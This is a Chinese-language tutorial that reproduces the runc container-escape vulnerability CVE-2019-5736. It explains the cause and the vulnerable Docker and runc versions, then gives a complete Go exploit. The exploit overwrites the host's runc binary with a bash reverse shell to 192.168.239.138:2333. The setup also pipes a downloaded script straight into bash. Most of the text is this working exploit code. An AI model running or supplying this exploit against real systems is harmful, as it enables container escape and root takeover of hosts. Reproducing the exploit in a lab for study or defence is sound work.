一、产生原因
Docker执行命令时,先向镜像管理的containerd发送gRPC请求,containerd收到请求后,再发送给具体的容器管理containerd-shim,shim根据OCI协议将命令发送给runc执行,所以实际上执行命令的是runc
漏洞大概意思是:/proc/[PID]/exe这个链接文件的指向是该进程的二进制文件,而在runc exec
加入到容器的命名空间之后, 容器内进程已经能够通过内部/proc
观察到它,通过遍历/proc目录,此时我们可以拿到runc在宿主机上的二进制文件路径,然后用恶意代码覆盖runc二进制文件
然后等待管理员执行docker exec命令,但由于该漏洞需要重写runc二进制文件,故漏洞利用完会造成目标docker无法使用
二、利用条件
1、docker-runc版本不能高于1.0-rc6,docker 版本在18.09之前
2、容器以root权限运行
三、复现过程
1、环境搭建
docker和runc版本如下
下载docker环境脚本并运行
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh
2、下载POC,修改脚本
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
下载不了可以复制下面代码
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -c 'bash -i >& /dev/tcp/192.168.239.138/2333 0>&1'" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
改为要反弹的主机和端口
这里把编译好的main复制到容器内执行,模拟攻击者
go build -o main main.go
docker cp main 33c6927d312d:/tmp
3、执行脚本,然后等待管理员执行命令,反弹shell
容器内运行脚本 ./main
模拟管理员执行exec命令
攻击机监听,成功反弹宿主机shell